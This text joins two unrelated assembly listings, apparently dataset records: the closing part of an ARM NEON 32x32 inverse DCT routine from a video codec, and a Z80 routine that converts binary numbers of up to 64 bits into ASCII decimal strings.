;step1[6] = step1b[6][i] + step1b[9][i];
;step1[7] = step1b[7][i] + step1b[8][i];
;step1[8] = step1b[7][i] - step1b[8][i];
;step1[9] = step1b[6][i] - step1b[9][i];
LOAD_FROM_OUTPUT 5, 8, 9, q0, q1
vadd.s16 q2, q14, q1
vadd.s16 q3, q15, q0
vsub.s16 q4, q15, q0
vsub.s16 q5, q14, q1
; --------------------------------------------------------------------------
; part of final stage
;output[ 8 * 32] = step1b[8][i] + step1b[23][i];
;output[ 9 * 32] = step1b[9][i] + step1b[22][i];
;output[22 * 32] = step1b[9][i] - step1b[22][i];
;output[23 * 32] = step1b[8][i] - step1b[23][i];
LOAD_FROM_OUTPUT 9, 22, 23, q0, q1
vadd.s16 q8, q4, q1
vadd.s16 q9, q5, q0
vsub.s16 q6, q5, q0
vsub.s16 q7, q4, q1
STORE_IN_OUTPUT 23, 22, 23, q6, q7
STORE_IN_OUTPUT 23, 8, 9, q8, q9
; --------------------------------------------------------------------------
; part of final stage
;output[ 6 * 32] = step1b[6][i] + step1b[25][i];
;output[ 7 * 32] = step1b[7][i] + step1b[24][i];
;output[24 * 32] = step1b[7][i] - step1b[24][i];
;output[25 * 32] = step1b[6][i] - step1b[25][i];
LOAD_FROM_OUTPUT 9, 24, 25, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_IN_OUTPUT 25, 24, 25, q6, q7
STORE_IN_OUTPUT 25, 6, 7, q4, q5
; restore r0 by removing the last offset from the last
; operation (LOAD_FROM_TRANSPOSED 16, 8, 24) => 24*8*2
sub r0, r0, #24*8*2
; restore r1 by removing the last offset from the last
; operation (STORE_IN_OUTPUT 24, 6, 7) => 7*32*2
; advance by 8 columns => 8*2
sub r1, r1, #7*32*2 - 8*2
; advance by 8 lines (8*32*2)
; go back by the two pairs from the loop (32*2)
add r3, r3, #8*32*2 - 32*2
; bands loop processing
subs r4, r4, #1
bne idct32_bands_loop
; parameters for second pass
; the input of pass2 is the result of pass1. we have to remove the offset
; of 32 columns induced by the above idct32_bands_loop
sub r3, r1, #32*2
; r1 = pass2[32 * 32]
add r1, sp, #2048
; pass loop processing
add r5, r5, #1
b idct32_pass_loop
idct32_bands_end_2nd_pass
STORE_COMBINE_CENTER_RESULTS
; --------------------------------------------------------------------------
; part of final stage
;output[ 0 * 32] = step1b[0][i] + step1b[31][i];
;output[ 1 * 32] = step1b[1][i] + step1b[30][i];
;output[30 * 32] = step1b[1][i] - step1b[30][i];
;output[31 * 32] = step1b[0][i] - step1b[31][i];
LOAD_FROM_OUTPUT 17, 30, 31, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_COMBINE_EXTREME_RESULTS
; --------------------------------------------------------------------------
; part of stage 7
;step1[2] = step1b[2][i] + step1b[13][i];
;step1[3] = step1b[3][i] + step1b[12][i];
;step1[12] = step1b[3][i] - step1b[12][i];
;step1[13] = step1b[2][i] - step1b[13][i];
LOAD_FROM_OUTPUT 31, 12, 13, q0, q1
vadd.s16 q2, q10, q1
vadd.s16 q3, q11, q0
vsub.s16 q4, q11, q0
vsub.s16 q5, q10, q1
; --------------------------------------------------------------------------
; part of final stage
;output[12 * 32] = step1b[12][i] + step1b[19][i];
;output[13 * 32] = step1b[13][i] + step1b[18][i];
;output[18 * 32] = step1b[13][i] - step1b[18][i];
;output[19 * 32] = step1b[12][i] - step1b[19][i];
LOAD_FROM_OUTPUT 13, 18, 19, q0, q1
vadd.s16 q8, q4, q1
vadd.s16 q9, q5, q0
vsub.s16 q6, q5, q0
vsub.s16 q7, q4, q1
STORE_COMBINE_CENTER_RESULTS
; --------------------------------------------------------------------------
; part of final stage
;output[ 2 * 32] = step1b[2][i] + step1b[29][i];
;output[ 3 * 32] = step1b[3][i] + step1b[28][i];
;output[28 * 32] = step1b[3][i] - step1b[28][i];
;output[29 * 32] = step1b[2][i] - step1b[29][i];
LOAD_FROM_OUTPUT 19, 28, 29, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_COMBINE_EXTREME_RESULTS
; --------------------------------------------------------------------------
; part of stage 7
;step1[4] = step1b[4][i] + step1b[11][i];
;step1[5] = step1b[5][i] + step1b[10][i];
;step1[10] = step1b[5][i] - step1b[10][i];
;step1[11] = step1b[4][i] - step1b[11][i];
LOAD_FROM_OUTPUT 29, 10, 11, q0, q1
vadd.s16 q2, q12, q1
vadd.s16 q3, q13, q0
vsub.s16 q4, q13, q0
vsub.s16 q5, q12, q1
; --------------------------------------------------------------------------
; part of final stage
;output[10 * 32] = step1b[10][i] + step1b[21][i];
;output[11 * 32] = step1b[11][i] + step1b[20][i];
;output[20 * 32] = step1b[11][i] - step1b[20][i];
;output[21 * 32] = step1b[10][i] - step1b[21][i];
LOAD_FROM_OUTPUT 11, 20, 21, q0, q1
vadd.s16 q8, q4, q1
vadd.s16 q9, q5, q0
vsub.s16 q6, q5, q0
vsub.s16 q7, q4, q1
STORE_COMBINE_CENTER_RESULTS
; --------------------------------------------------------------------------
; part of final stage
;output[ 4 * 32] = step1b[4][i] + step1b[27][i];
;output[ 5 * 32] = step1b[5][i] + step1b[26][i];
;output[26 * 32] = step1b[5][i] - step1b[26][i];
;output[27 * 32] = step1b[4][i] - step1b[27][i];
LOAD_FROM_OUTPUT 21, 26, 27, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_COMBINE_EXTREME_RESULTS
; --------------------------------------------------------------------------
; part of stage 7
;step1[6] = step1b[6][i] + step1b[9][i];
;step1[7] = step1b[7][i] + step1b[8][i];
;step1[8] = step1b[7][i] - step1b[8][i];
;step1[9] = step1b[6][i] - step1b[9][i];
LOAD_FROM_OUTPUT 27, 8, 9, q0, q1
vadd.s16 q2, q14, q1
vadd.s16 q3, q15, q0
vsub.s16 q4, q15, q0
vsub.s16 q5, q14, q1
; --------------------------------------------------------------------------
; part of final stage
;output[ 8 * 32] = step1b[8][i] + step1b[23][i];
;output[ 9 * 32] = step1b[9][i] + step1b[22][i];
;output[22 * 32] = step1b[9][i] - step1b[22][i];
;output[23 * 32] = step1b[8][i] - step1b[23][i];
LOAD_FROM_OUTPUT 9, 22, 23, q0, q1
vadd.s16 q8, q4, q1
vadd.s16 q9, q5, q0
vsub.s16 q6, q5, q0
vsub.s16 q7, q4, q1
STORE_COMBINE_CENTER_RESULTS_LAST
; --------------------------------------------------------------------------
; part of final stage
;output[ 6 * 32] = step1b[6][i] + step1b[25][i];
;output[ 7 * 32] = step1b[7][i] + step1b[24][i];
;output[24 * 32] = step1b[7][i] - step1b[24][i];
;output[25 * 32] = step1b[6][i] - step1b[25][i];
LOAD_FROM_OUTPUT 23, 24, 25, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_COMBINE_EXTREME_RESULTS_LAST
; --------------------------------------------------------------------------
; restore pointers to their initial indices for next band pass by
; removing/adding dest_stride * 8. The actual increment by eight
; is taken care of within the _LAST macros.
add r6, r6, r2, lsl #3
add r9, r9, r2, lsl #3
sub r7, r7, r2, lsl #3
sub r10, r10, r2, lsl #3
; restore r0 by removing the last offset from the last
; operation (LOAD_FROM_TRANSPOSED 16, 8, 24) => 24*8*2
sub r0, r0, #24*8*2
; restore r1 by removing the last offset from the last
; operation (LOAD_FROM_OUTPUT 23, 24, 25) => 25*32*2
; advance by 8 columns => 8*2
sub r1, r1, #25*32*2 - 8*2
; advance by 8 lines (8*32*2)
; go back by the two pairs from the loop (32*2)
add r3, r3, #8*32*2 - 32*2
; bands loop processing
subs r4, r4, #1
bne idct32_bands_loop
; stack operation
add sp, sp, #512+2048+2048
vpop {d8-d15}
pop {r4-r11}
bx lr
ENDP ; |aom_idct32x32_1024_add_neon|
END
|
; -------------------------------------------------------------------------------
; Combined routine for conversion of different sized binary numbers into
; directly printable ASCII(Z)-string
; Input value in registers, number size and -related to that- registers to fill
; is selected by calling the correct entry:
;
; entry inputregister(s) decimal value 0 to:
; N2D8 A 255 (3 digits)
; N2D16 HL 65535 5 "
; N2D24 E:HL 16777215 8 "
; N2D32 DE:HL 4294967295 10 "
; N2D48 BC:DE:HL 281474976710655 15 "
; N2D64 IX:BC:DE:HL 18446744073709551615 20 "
;
; The resulting string is placed into a small buffer attached to this routine,
; this buffer needs no initialization and can be modified as desired.
; The number is aligned to the right, and leading 0's are replaced with spaces.
; On exit HL points to the first digit, (B)C = number of decimals
; This way any re-alignment / postprocessing is made easy.
; Changes: AF,BC,DE,HL,IX
;
; Source code originally published by Alwin Henseler on:
; https://www.msx.org/forum/development/msx-development/32-bit-long-ascii
; Adapted by Marco Spedaletti for z88sdk compiler
;
; @thirdparts Alwin Henseler
; -------------------------------------------------------------------------------
N2D8: LD H,0
LD L,A
N2D16: LD E,0
N2D24: LD D,0
N2D32: LD BC,0
N2D48: LD IX,0 ; zero all non-used bits
N2D64: LD (N2DINV),HL
LD (N2DINV+2),DE
LD (N2DINV+4),BC
LD (N2DINV+6),IX ; place full 64-bit input value in buffer
LD HL,N2DBUF
LD DE,N2DBUF+1
LD (HL), 32 ; space is ASCII 32
N2DFILC: EQU $-1 ; address of fill-character
LD BC,18
LDIR ; fill 1st 19 bytes of buffer with spaces
LD (N2DEND-1),BC ;set BCD value to "0" & place terminating 0
LD E,1 ; no. of bytes in BCD value
LD HL,N2DINV+8 ; (address MSB input)+1
LD BC, $0909
XOR A
N2DSKP0: DEC B
JR Z,N2DSIZ ; all 0: continue with postprocessing
DEC HL
OR (HL) ; find first byte <>0
JR Z,N2DSKP0
N2DFND1: DEC C
RLA
JR NC,N2DFND1 ; determine no. of most significant 1-bit
RRA
LD D,A ; byte from binary input value
N2DLUS2: PUSH HL
PUSH BC
N2DLUS1: LD HL,N2DEND-1 ; address LSB of BCD value
LD B,E ; current length of BCD value in bytes
RL D ; highest bit from input value -> carry
N2DLUS0: LD A,(HL)
ADC A,A
DAA
LD (HL),A ; double 1 BCD byte from intermediate result
DEC HL
DJNZ N2DLUS0 ; and go on to double entire BCD value (+carry!)
JR NC,N2DNXT
INC E ; carry at MSB -> BCD value grew 1 byte larger
LD (HL),1 ; initialize new MSB of BCD value
N2DNXT: DEC C
JR NZ,N2DLUS1 ; repeat for remaining bits from 1 input byte
POP BC ; no. of remaining bytes in input value
LD C,8 ; reset bit-counter
POP HL ; pointer to byte from input value
DEC HL
LD D,(HL) ; get next group of 8 bits
DJNZ N2DLUS2 ; and repeat until last byte from input value
N2DSIZ: LD HL,N2DEND ; address of terminating 0
LD C,E ; size of BCD value in bytes
OR A
SBC HL,BC ; calculate address of MSB BCD
LD D,H
LD E,L
SBC HL,BC
EX DE,HL ; HL=address BCD value, DE=start of decimal value
LD B,C ; no. of bytes BCD
SLA C ; no. of bytes decimal (possibly 1 too high)
LD A, 48 ; 0 is ASCII 48
RLD ; shift bits 4-7 of (HL) into bit 0-3 of A
CP 48 ; 0 is ASCII 48, (HL) was > 9h?
JR NZ,N2DEXPH ; if yes, start with recording high digit
DEC C ; correct number of decimals
INC DE ; correct start address
JR N2DEXPL ; continue with converting low digit
N2DEXP: RLD ; shift high digit (HL) into low digit of A
N2DEXPH: LD (DE),A ; record resulting ASCII-code
INC DE
N2DEXPL: RLD
LD (DE),A
INC DE
INC HL ; next BCD-byte
DJNZ N2DEXP ; and go on to convert each BCD-byte into 2 ASCII
SBC HL,BC ; return with HL pointing to 1st decimal
RET
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.